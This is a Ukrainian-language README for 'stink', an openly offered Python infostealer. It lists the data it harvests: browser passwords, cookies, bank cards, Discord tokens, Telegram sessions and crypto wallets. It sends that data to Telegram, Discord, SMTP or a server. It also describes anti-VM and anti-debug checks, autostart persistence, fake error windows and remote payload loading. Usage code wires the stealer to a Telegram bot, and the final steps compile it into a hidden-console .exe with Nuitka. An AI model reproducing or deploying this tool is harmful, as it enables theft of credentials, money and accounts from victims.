Стилер всього лише в декілька рядків з відправкою до Telegram / Server / Discord / SMTP. Без залежностей, тільки вбудовані бібліотеки.
Wiki: https://github.com/FallenAstaroth/stink/wiki
stink
вже має значний функціонал, який тільки розширюватиметься.
- Підтримка наступних браузерів:
- Chrome
- Opera
- Opera GX
- Edge
- Brave
- Vivaldi
- Yandex (Частково)
- Збір наступних даних:
- Скріншот
- Кукі
- Паролі
- Банківські карти
- Історія
- Закладки
- IP-адреса
- Конфігурація системи
- Активні процеси
- Токени Discord
- Сесії Telegram
- Хости FileZilla
- Крипто гаманці:
- Metamask
- Phantom
- Atomic
- Exodus
- Інші 10 гаманців
- Конфіги Steam
- Вбудовані методи відправлення:
- Telegram
- Server
- Discord
- SMTP
- Підтримка мультипрофілів браузера.
- Виконання в окремому потоці.
- Виконання з використанням багатопроцесорності.
- Можливість додання в автозапуск.
- Вивід вікна з фейковою помилкою.
- Виконання без створення будь яких файлів.
- Підвантаження і запуск файлів за посиланням.
- Збір файлів зазначеного формату за вказаними директоріями.
- Припинення роботи на віртуальних машинах та при спробі дебагінгу.
from stink import Stealer, Senders
if __name__ == '__main__':
Stealer(senders=[Senders.telegram(token="YOUR_TOKEN", user_id=YOUR_ID)]).run()
Приклад зі збором тільки системних даних і скріншота.
from stink import Stealer, Features, Senders
if __name__ == '__main__':
Stealer(
senders=[
Senders.telegram(token="YOUR_TOKEN", user_id=YOUR_ID)
],
features=[
Features.system,
Features.screenshot
]
).run()
-
features
- список модулів зstink.Features
:-
passwords
- збір паролів. -
cookies
- збір кукі. -
cards
- збір банківських карт. -
history
- збір історії пошуку. -
bookmarks
- збір закладок. -
extensions
- збір розширень браузера. -
processes
- збір активних процесів. -
system
- збір конфігурації системи. -
screen
- скріншот. -
discord
- збір токенів Discord. -
telegram
- збір сесій Telegram. -
filezilla
- збір хостів FileZilla. -
wallets
– збір крипто гаманців. -
steam
- збір конфігів Steam.
-
-
utils
- список утиліт зstink.Utils
:-
autostart
- додання в автозапуск. -
message
- вивід фейкового вікна помилки.
-
-
protectors
- список протекторів ізstink.Protectors
:-
processes
- перевірка процесів на наявність програм для дебагінгу та віртуальних машин. -
mac_address
- перевірка MAC адрес на присутність у чорному списку. -
computer
- перевірка назви PC на присутність у чорному списку. -
user
- перевірка імені користувача на присутність у чорному списку. -
hosting
- перевірка чи перебуває PC на хостингу. -
http_simulation
- перевірка на симуляцію HTTP. -
virtual_machine
- перевірка на віртуальну машину. -
disable
- повне вимкнення всіх перевірок. -
all
- увімкнення всіх перевірок.
-
-
senders
- список способів надсилання зstink.Senders
: -
loaders
- список підвантажувачів файлів зstink
:Loader
- універсальний підвантажувач.
-
grabbers
- список збирачів файлів зstink
:Grabber
- універсальний збирач.
Python являється інтерпретованою мовою програмування, тому ми спочатку транслюємо його в C, а потім скомпілюємо в .exe файл. Для цього нам знадобиться Nuitka.
- Завантажуємо архів.
- Розпаковуємо архів і переходимо в директорію stink-master.
- Створюємо test.py (або будь-яку іншу назву) файл в цій же директорії з наступним кодом:
from stink import Stealer, Senders
if __name__ == '__main__':
Stealer(senders=[Senders.telegram(token="YOUR_TOKEN", user_id=YOUR_ID)]).run()
- Запускаємо compiler.bat.
- Відкриваємо
cmd
. - Прописуємо команду:
pip install virtualenv
- Переходимо в папку з файлом
test.py
:
cd path\to\file
- Створюємо віртуальне оточення і активуємо його:
virtualenv venv
venv\Scripts\activate
- Встановлюємо Nuitka:
pip install Nuitka
- Для зменшення розміру файла додатково встановлюємо Zstandard (опціонально):
pip install zstandard
- Прописуємо команду:
nuitka --onefile --plugin-enable=multiprocessing --windows-disable-console test.py
Після виконання команди отримуємо test.exe файл із прихованою консоллю.